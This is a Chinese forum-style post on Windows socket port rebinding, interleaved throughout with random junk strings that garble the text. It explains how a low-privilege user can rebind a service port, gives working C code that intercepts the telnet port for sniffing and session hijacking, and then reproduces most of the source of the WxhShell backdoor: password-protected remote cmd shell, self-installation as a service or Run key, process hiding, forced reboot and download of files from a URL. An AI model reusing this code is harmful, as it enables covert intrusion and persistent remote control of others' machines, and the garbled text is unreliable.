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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 49#-\=<gt s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); #zQkQvAT9 hlVP_h"z saddr.sin_family = AF_INET; $wN .~"T Z/I!\ saddr.sin_addr.s_addr = htonl(INADDR_ANY); '|cuVxcE55 BNByaC bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); td m{
V
st c]LH. 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 L fi]s /qCYNwWH9 这意味着什么?意味着可以进行如下的攻击: H{V-C_ a=J?[qrx 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 vIRE vj#U -Rvxjy)[N 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) @Yg7F>s X}!_p& WI 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 `SG70/ }Q%>Fv 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 i" )_M|
!Q#b4 f 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 w iq{Jo# M{S7ia"s 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 pqs)ueu GW W@8GNI 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 YOY+z\Q oaKf{$vg #include 06`__$@h #include dbLX}> #include 3UaP7p+d #include j\vK`.z DWORD WINAPI ClientThread(LPVOID lpParam); daorKW4 int main() =.%ZF]Oe+# { 1t0FJ@)* WORD wVersionRequested; EK'&S=] DWORD ret; `~RV WSADATA wsaData; wx!*fy4hL BOOL val; V;6M[ic} SOCKADDR_IN saddr; ~L1O\V
i SOCKADDR_IN scaddr; <Hp"ZCN int err; fH.W
kAE1 SOCKET s; miKi$jC}vq SOCKET sc; AWi87q int caddsize; R',w~1RV' HANDLE mt; zbR.Lb DWORD tid; d3$<|mG$ wVersionRequested = MAKEWORD( 2, 2 ); Lr^xp,_ n err = WSAStartup( wVersionRequested, &wsaData ); g IKm if ( err != 0 ) { w?*KO?K printf("error!WSAStartup failed!\n"); PYUY bRn return -1; DG-vTr } GKS y|z saddr.sin_family = AF_INET; Q. XsY.{ ,dp?'_q{ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 pxbNeqK@p hK"=~\, saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); lEDHx[q saddr.sin_port = htons(23); I Q L~I13 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) HLk"a-+' { aC},h printf("error!socket failed!\n"); S3'g(+S return -1; U,M,E@ } )eEvyU
val = TRUE; p^:Lj 9Qax //SO_REUSEADDR选项就是可以实现端口重绑定的 [w/t if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) J*Hn/m { 5:d2q<x:{ printf("error!setsockopt failed!\n"); 5{a(
+' return -1; vw]nqS~N } ##@#:B //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 5% `Ul //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ~
t
H s+ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 TxvPfU? kn"x[{d if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) jq]"6/xxb { GN9_ZlC ret=GetLastError(); 9/M!S[N9 printf("error!bind failed!\n"); ?>8zU;Aj return -1; #[W[|m } UT~2}B9fc listen(s,2); E,fp=. while(1) @qDrTH]5 { @,&m`qzd+ caddsize = sizeof(scaddr); @>@Nug2 //接受连接请求 QL2y,?Mz7 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); B|=maz:_ if(sc!=INVALID_SOCKET) aTm.10{^ { weV#%6=5\ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); pCUOeQL(
if(mt==NULL) zrO|L|F&P { ss{= ::# printf("Thread Creat Failed!\n"); uq%3;#[0 break; Nj_sU0Dt } C<t>m_t9 } m#$za7 CloseHandle(mt); }?J5!X } RM1uYFs< closesocket(s); CD1=2 WSACleanup(); _0["J:s9 return 0; /A.i5=k } /&:9VMMj DWORD WINAPI ClientThread(LPVOID lpParam) .K1E1Z_ { BDRVT Y(s SOCKET ss = (SOCKET)lpParam; Vk_&W.~ SOCKET sc; t)Q@sKT6 unsigned char buf[4096]; ('-}"3 SOCKADDR_IN saddr; X9A[
long num; |a$w;s>\ DWORD val; Z{4aGp* DWORD ret; AdW2o|Uap //如果是隐藏端口应用的话,可以在此处加一些判断 rOHW //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 TQd FC\@f" saddr.sin_family = AF_INET; K!K"}%/_ saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); t/WnDR/fM saddr.sin_port = htons(23); zlztF$Bo if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >Mz|e(6 { J<#`IaV printf("error!socket failed!\n"); SzlfA%4+GR return -1; 64' ]F1p0 } !TL}~D:J val = 100; K('lH-3wS if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 51opP8 { d 4\E ret = GetLastError(); >MWpYp return -1; ynbpew aa } P&3/nL$9N if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _L'cyH.cn { ;u};&sm ret = GetLastError(); E9B*K2l^{ return -1; #K1BJ#KUt } *\:_o5o%[T if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) eQVPxt2N { d3G{0PX printf("error!socket connect failed!\n"); "E|r 3cN closesocket(sc); )R)$T' closesocket(ss); 1R%`i'$/ return -1; W}2 &Pax } L sDzV) while(1) )g:,_ 1s)| { >_aio4j}r //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 "]s|D@^4#b //如果是嗅探内容的话,可以再此处进行内容分析和记录 {/A)t1nL //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 a!y,!EB+Qu num = recv(ss,buf,4096,0); /D$+b9FR< if(num>0) k?/ v y9 send(sc,buf,num,0); \*%i#]wO@ else if(num==0) 9X$#x90 break; +>:}req num = recv(sc,buf,4096,0); 27],O@2?L if(num>0) /1W7<']>xV send(ss,buf,num,0); n*i'v tQ8 else if(num==0) ow+Dd[i break; EdAR<VfleA } 3hXmYz( closesocket(ss); b;J0'o^G| closesocket(sc); hHc^ZA return 0 ; RQpIBsj } 2WPF{y%/ i$JG^6,O a][pTC\ rb ========================================================== W-!Bl&jF[ ;*-@OLT_K 下边附上一个代码,,WXhSHELL 45)ogg2
Ku/H= ========================================================== : \:~y9X0 Wz-3?EQ #include "stdafx.h" s"=F^# B221}t #include <stdio.h> |)?aH2IL #include <string.h> KZ!N{.Jk #include <windows.h> g|._n #include <winsock2.h> -Y8ks7 #include <winsvc.h> H6ky)kF& #include <urlmon.h> H ZDaV&)@ YQ@dl #pragma comment (lib, "Ws2_32.lib") \)otu\3/ #pragma comment (lib, "urlmon.lib") uRm _ >' ksXA4b #define MAX_USER 100 // 最大客户端连接数 Wj4^W<IO #define BUF_SOCK 200 // sock buffer ! 2Xr~u7a #define KEY_BUFF 255 // 输入 buffer rv,NQZ 6MQs \ J6. #define REBOOT 0 // 重启 1<W4>~,wj #define SHUTDOWN 1 // 关机 ,qe]fo > 5BU%%fBJ. #define DEF_PORT 5000 // 监听端口 Ig02M_ =XMD+ #define REG_LEN 16 // 注册表键长度 8|5Gv #define SVC_LEN 80 // NT服务名长度 yE.495 )l#%.Z9 // 从dll定义API :Hzz{' typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); w>6"Sc7oc2 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); pHj[O?F typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); nIyROhZ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); '&-5CpDUs #QTfT&m+G} // wxhshell配置信息 AaVI%$ struct WSCFG { jr,&=C( int ws_port; // 监听端口 DJViy char ws_passstr[REG_LEN]; // 口令 "ep ` int ws_autoins; // 安装标记, 1=yes 0=no ASKAgU"h char ws_regname[REG_LEN]; // 注册表键名 ?qg^WDs$ char ws_svcname[REG_LEN]; // 服务名 ! fi &@k char ws_svcdisp[SVC_LEN]; // 服务显示名 mUrS&&fu8 char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?w]"~ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 A6^p}_ int ws_downexe; // 下载执行标记, 1=yes 0=no E!zd( char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" %\}dbYS
' char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ( zn_8s 5q5 )uv" }; Q7~'![(a (s}Rj)V[^ // default Wxhshell configuration aF&r/j+}o struct WSCFG wscfg={DEF_PORT, SON^CvMs{ "xuhuanlingzhe", {D_++^ 1, xSpMyXrQ "Wxhshell", ny12U;'s, "Wxhshell", Sf
024 "WxhShell Service", eJU;*] xfH "Wrsky Windows CmdShell Service", @Jb@L "Please Input Your Password: ", Rk($lW) 1, zmrQf/y{R
" http://www.wrsky.com/wxhshell.exe", Js\-['` "Wxhshell.exe" 9J~:m$. }; K1?Z5X(b
Ur'9bl{5 // 消息定义模块 LP^p~5Az char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; VHXI@UT* char *msg_ws_prompt="\n\r? for help\n\r#>"; "gXxRHTX char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; /=8O&1=D char *msg_ws_ext="\n\rExit."; dtB[m^$ char *msg_ws_end="\n\rQuit."; ==%`e/~Y char *msg_ws_boot="\n\rReboot..."; .S~@BI(|< char *msg_ws_poff="\n\rShutdown..."; L;/9L[s, char *msg_ws_down="\n\rSave to "; LP.HS'M~u :3f-9aRC! char *msg_ws_err="\n\rErr!"; h5L=M^z!> char *msg_ws_ok="\n\rOK!"; !]$V9F{K WGH%92 char ExeFile[MAX_PATH]; U7^7/s/. int nUser = 0; .:w#&yM [U HANDLE handles[MAX_USER]; f ,tW_g int OsIsNt; \hs/D+MCk YV5Yx-+3w$ SERVICE_STATUS serviceStatus; l6iw=b[? SERVICE_STATUS_HANDLE hServiceStatusHandle; 8)L'rW{q# EzR%w*F>Q // 函数声明 B$cOssl int Install(void); 89hF)80 int Uninstall(void); 2 dHM int DownloadFile(char *sURL, SOCKET wsh); u?Fnlne4@ int Boot(int flag); Oo FgQEr@ void HideProc(void); >vUB%OLyP int GetOsVer(void); }5Yj int Wxhshell(SOCKET wsl); #v{ Y=$L void TalkWithClient(void *cs); aXMv(e+ int CmdShell(SOCKET sock); yC0C`oC int StartFromService(void); JZ `>|<W int StartWxhshell(LPSTR lpCmdLine); 8O,?|c=> "hL9f=w VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {DU"]c/S VOID WINAPI NTServiceHandler( DWORD fdwControl ); q_cC7p6t ~mtTsZc // 数据结构和表定义 ~j=xi P SERVICE_TABLE_ENTRY DispatchTable[] = 0CT}DQ._^N { AT"!{Y "H {wscfg.ws_svcname, NTServiceMain}, Vwjk[ DOL {NULL, NULL} ov8
ByJc }; ?Phk~ jE kW#S]fsfU // 自我安装 q[-|ZA bbr int Install(void) n'THe|:I { N? M char svExeFile[MAX_PATH]; 1o8wy_eSs HKEY key; 0s1'pA' strcpy(svExeFile,ExeFile); G3G/xC" e|yX QTlvL // 如果是win9x系统,修改注册表设为自启动 |~z3U> if(!OsIsNt) { *P`v^& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xdPcsox~ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); YQ;
cJ$ RegCloseKey(key); N1%p"( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bG"HD?A_ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "jT#bIm RegCloseKey(key); 1@xP(XS return 0; Q8p=!K } UEzsDJu } C;9t">prk } R,%_deV\( else { YydA6IK4 sI'a1$ // 如果是NT以上系统,安装为系统服务 ^o YPyk`9 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); N#4N?BBP" if (schSCManager!=0) ]nQ+nH { I"-dTa SC_HANDLE schService = CreateService #<4--$Xo ( ylu2R0] ( schSCManager, @dl8(ILk' wscfg.ws_svcname, -OrR $w|e wscfg.ws_svcdisp, +]c/&Xo! SERVICE_ALL_ACCESS, WSRy%# SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , n0Go p^3 SERVICE_AUTO_START, Jy]Id*u9 SERVICE_ERROR_NORMAL, 6JhMkB^h svExeFile, um7o !yg, NULL, {Bh("wg$Lk NULL, )>\4ULR83 NULL, !DPF7x(-{ NULL, |m)kN2w NULL K/^
+eoW( ); t0q_>T-kt if (schService!=0) OiF{3ae( { iwU[6A CloseServiceHandle(schService); =Q-k'= 6\ CloseServiceHandle(schSCManager); );Z]SGd strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2:Q(Gl`<l strcat(svExeFile,wscfg.ws_svcname); ;\qXbL7 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Hy] RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6W&_2a7* RegCloseKey(key); :=*}htP4C return 0; KVN"XqE4 } [[WF0q } Z.'syGuV CloseServiceHandle(schSCManager); w~|1Wd<v } Ow@v"L;jF! } EiWd+v,QJQ zC=a3 return 1; ^
q?1U?4 } ^/toz).Q UX2lPgKdLz // 自我卸载 hJf2o int Uninstall(void) y(5:}x&E { dY!u)M;~~ HKEY key; x r[Vp s9O2k}] if(!OsIsNt) { >zs5s if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jAC78n,Fi@ RegDeleteValue(key,wscfg.ws_regname); _okWQvdH RegCloseKey(key); (?>cn_m if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KxIyc7. RegDeleteValue(key,wscfg.ws_regname); Y.sz|u 1 RegCloseKey(key); +Rwx%= return 0; wfR&li{ } [|RjHGf } )K;]y-Us[ } kccWoU, else { irKIy k_ Y~;P@ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Dz;HAyPj if (schSCManager!=0) XN;&qR^j { BMFF= SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); dU_;2#3m if (schService!=0) G-u]L7t&1 { QM'X@ if(DeleteService(schService)!=0) { 6B" egYv CloseServiceHandle(schService); 0 )}$^TV CloseServiceHandle(schSCManager); X(*!2uS return 0; vWjnI*6T# } ,DQjDMjrf CloseServiceHandle(schService); <jA105U"m> } [syj# CloseServiceHandle(schSCManager); eGL<vX } Udgqkl } TQ]dW eSfnB_@x2 return 1; +v7) 1y } W0I4Vvh_" A m"(+>W21 // 从指定url下载文件 $_Nf-:D* int DownloadFile(char *sURL, SOCKET wsh) fjG&`m#" { j:,9%tg HRESULT hr; h8{(KRa 6 char seps[]= "/"; Yh<WA>= char *token; #7G*GbKY char *file; ,$lemH1d char myURL[MAX_PATH]; WsGths+[ char myFILE[MAX_PATH]; .;
Q:p* b:W-l? strcpy(myURL,sURL); 5's~>up& token=strtok(myURL,seps); bHE2,;o while(token!=NULL) Cu;5RSr2Z { K > g[k_ file=token; Na{Y}0=^y token=strtok(NULL,seps); g}LAks } UL$}{2N,_ 8\.b4FNJ GetCurrentDirectory(MAX_PATH,myFILE); |{>ER,<- strcat(myFILE, "\\"); 88s/Q0l strcat(myFILE, file); dT"hNHaf send(wsh,myFILE,strlen(myFILE),0); _}xd}QW send(wsh,"...",3,0); /] ^#b hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); S$,'Q^~K if(hr==S_OK) #%0Bx3uM return 0; Lh.b5Q| else =q7Z qP return 1; SRIA*M.B} 2_^aw[- } >Gml4vGK \y`+B*\i // 系统电源模块 CNZ z]H int Boot(int flag) m0n)dje { fxaJZz$o HANDLE hToken; /P|fB]p TOKEN_PRIVILEGES tkp; Yb3mP!3q8Z RGKYW>$0RR if(OsIsNt) { a8k; (/ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); d\{>TdyF LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
%ts^Z*3u tkp.PrivilegeCount = 1; K.<.cJE tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?'86d_8 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); q;g>t5]a if(flag==REBOOT) { eV:9y if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) t7n(Qkrv return 0; `*", < } NX`*%K else { gI^oU4mq if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) f"7O "6 return 0; 9EDfd NN } 00v&lQBW } &,A64y else { [[PEa-992 if(flag==REBOOT) { 3.22"U\1: if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) wO ?+Nh return 0; 'o|30LzYgQ } UcBe'r}G else { 3bk|<7tl if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) NH$r
Z7$ return 0; Dd;Nz } N\:.
M } w0w G-R ? mxb(<9O return 1; 6"Bic rY } ~\{^%~[48 m_?d=o
// win9x进程隐藏模块 S*j6OwZ void HideProc(void) HGm 3+, { B<j'm0a>B 'YNT8w/3 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @u==x*{| if ( hKernel != NULL ) ]|`Cuc { [2"<W!p pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); n6s}ww) ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ]-ZEWt6lsc FreeLibrary(hKernel); 3nZo{p:E } $O9^SB pZ/>[TP(%F return; ^G6RjJxqp8 } 9Xx's%U >3z5ww // 获取操作系统版本 7S?4XyU/o int GetOsVer(void) ?LvCR_D: { h;6lK$!c OSVERSIONINFO winfo; dtp oU&?6s winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^Z:~91Tv-_ GetVersionEx(&winfo); jDQZQ NS if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^ f# FI& return 1; ]XI*Wsn else /_`lz^ return 0; gx%|Pgd } ABUSTf< FQ=@mjh // 客户端句柄模块 ]('D^Ro int Wxhshell(SOCKET wsl) Mbjvh2z { ) $PDo
7# SOCKET wsh; FJ asS8 struct sockaddr_in client; 4~B>
9<$e> DWORD myID; NH+(?TN 27;ci:5 while(nUser<MAX_USER) J~#;<e{\" { D1__n6g[ int nSize=sizeof(client); >nzdnF_&zW wsh=accept(wsl,(struct sockaddr *)&client,&nSize); N!g9*Z if(wsh==INVALID_SOCKET) return 1; tKpmm`2 9<KAXr# handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); lbpq_= if(handles[nUser]==0) V0)fZS@tf closesocket(wsh); $m42:a mM else \Ym5<];E nUser++; F7Zwh5W } TY1I=8 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); O BN2 ) j {)-aSywe return 0; w Xsmn1w9 } ~R(%D-k )E~79! // 关闭 socket >%wLAS",w void CloseIt(SOCKET wsh) tg{H9tU; {
)oyIe) closesocket(wsh); -;'1^ nUser--; R)c'#St ExitThread(0); gvLf|+m } nw-I|PVTNa ]C) 4 // 客户端请求句柄 3+XOZh8 void TalkWithClient(void *cs) 3`k;a1Z#O' { {~F4WjHJp B[KJR?> SOCKET wsh=(SOCKET)cs; aoXb2 2]{ char pwd[SVC_LEN]; B'fb^n< char cmd[KEY_BUFF]; l,kUhZ@W char chr[1]; }`@728E
int i,j; E2m8UBS h=:Q-?n- while (nUser < MAX_USER) { Rj4|Q:XG WVI{oso# if(wscfg.ws_passstr) { -?0qf,W. if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yxH ( c //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rYbpih=x //ZeroMemory(pwd,KEY_BUFF); ({q?d[q[ i=0; p>upA)W] while(i<SVC_LEN) { d!$Z(W0 7k rUKYVo // 设置超时 _]Zs,Hy fd_set FdRead; q#s,-u u struct timeval TimeOut; !TUrQ FD_ZERO(&FdRead); ?:)]h c FD_SET(wsh,&FdRead); ?O8ViB?2 TimeOut.tv_sec=8; 9M:O0) s TimeOut.tv_usec=0; cZ|\.0- int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Nd;Ku6 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); hC\6-
0u 49vcoHlf if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Qc pm! pwd =chr[0]; f\jLqZY if(chr[0]==0xd || chr[0]==0xa) { G%s2P.cd pwd=0; Iu <?&9t break; GSRVe/[ } !7kG!)40 i++; (_"*NY0 } T7#W0^tj 07[_.i.l // 如果是非法用户,关闭 socket o}$EG if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #Jw1IcuH } *"{lMZ+ WS`qVL]^& send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 'L8'
'(eZ^ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R.yC(r i{`;R while(1) { GgB,tam{p 9_
dpR. ZeroMemory(cmd,KEY_BUFF); [xGf,;Z 7eiV{ tYF // 自动支持客户端 telnet标准 %;rHrDP(> j=0; *#C+iAF|)' while(j<KEY_BUFF) { MP>dW nl if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `-p:vq` cmd[j]=chr[0]; OEkN(wF if(chr[0]==0xa || chr[0]==0xd) { LS917ci- cmd[j]=0; wf:OK[r9 break; ^Gqt+K% } N9v1[~ bv_ j++; ]VD|xm:kj } [_}J F}6 pNKhc#-w // 下载文件 kYjGj,m" if(strstr(cmd,"http://")) { |%'
nVxc4r send(wsh,msg_ws_down,strlen(msg_ws_down),0); iy%ZQ[Un if(DownloadFile(cmd,wsh)) dfij|>:*0 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8]U{;|'; else RE/~#k@a send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1fZ(l" } HxIIO[h else { Y9&,t\ q rl#p".4q switch(cmd[0]) { BBtzs^C| 3G(miP6 // 帮助 ;JayoJ case '?': { FgB&b send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); l=v4Fa0^jF break; }Nf%n@ } H{=21\a\ // 安装 ~V\D|W9 case 'i': { -}KC=,]vh if(Install()) SN1}xR$ send(wsh,msg_ws_err,strlen(msg_ws_err),0); n\^Tq<] a else LILQ\I<<' send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3GUZ;jdn break; `0Oh_8" } "$2y-| // 卸载 n:{qC{D-qS case 'r': { 'coV^~qy if(Uninstall()) 6I4oi@hZz send(wsh,msg_ws_err,strlen(msg_ws_err),0); '2[albxSc else O4og?h> send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y9>ZwYN break; R5X.^u } BEre*J // 显示 wxhshell 所在路径 !Ikt '5/ case 'p': { ]% IT|/;9Y char svExeFile[MAX_PATH]; (adyZ/j strcpy(svExeFile,"\n\r"); :{q<{^c strcat(svExeFile,ExeFile); $3s@}vLd send(wsh,svExeFile,strlen(svExeFile),0); CD~z=vlK- break; ~wkj&yVT } Ljp%CI[i // 重启 K|:@Z case 'b': { j,"@?Wt7 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); '.81zpff if(Boot(REBOOT)) SAyufLEv, send(wsh,msg_ws_err,strlen(msg_ws_err),0); V0P>YQq9s else { cT!\{~ closesocket(wsh); 5Hw~2 ?a, ExitThread(0); F*3j.lI } p(/dBt[3k break; wfq7ob4^ } /#m=*&!CB // 关机 &L,nqc\3D5 case 'd': { O8j_0 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )'6DNa[y if(Boot(SHUTDOWN)) t+1 %RyKFB send(wsh,msg_ws_err,strlen(msg_ws_err),0); TjwBv6h else { ^$'z!+QRM closesocket(wsh); p IU&^yX> ExitThread(0); .ZJRO>S } f]\CD<g3|E break; 2C9V|[U, } br":y>=, // 获取shell {;:/-0s case 's': { u (em&M CmdShell(wsh); &8g?4v closesocket(wsh); LQngK7> ExitThread(0); 8q,6}mV
break; <cqbUL } mg$]QnbAnH // 退出 `CgaS# case 'x': { P dhEQ}H send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); n8" .XS CloseIt(wsh); >VN5`Zlw\C break; '>' wK. } NqDHCI // 离开 (4dhuT case 'q': { 5yzv|mrx send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8>WC5%f* closesocket(wsh); a{qM2P(S WSACleanup(); enSXP~9w exit(1); X0haj~o[ break; ](wvu(y\E } |ayVjqJ* } 'Pn3%&O$ } uFPF!Ern ,z-}t&
_t // 提示信息 zY"1drE> G if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Fpa_qjL; } p4-o/8rO } &'
Ne!o8 * Of4o return; OG~6L4" } GJtZ&H R)RG[F# // shell模块句柄 b/{t|io{ int CmdShell(SOCKET sock) NR5oIKP? { or';A'k STARTUPINFO si; Zy(W^~NT ZeroMemory(&si,sizeof(si)); }A7j/uy}s si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; fDvl/|62{ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ),ma_{$N PROCESS_INFORMATION ProcessInfo; L&%s[ char cmdline[]="cmd"; O^^C;U@U<1 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);
.5y+fL return 0; {O`w,dMOI } 4bn(zyP HP3lz,d // 自身启动模式 3T!lA int StartFromService(void) =yyp?WmC8 { 'zGo?a typedef struct D(H>R&b! { kAC&S!n DWORD ExitStatus; H
s"HID DWORD PebBaseAddress; yX0dbW~@y DWORD AffinityMask; [3--(#R\}? DWORD BasePriority; R]btAu;Z ULONG UniqueProcessId; 3YFU*f, ULONG InheritedFromUniqueProcessId; !qN||mCH } PROCESS_BASIC_INFORMATION; eK!V
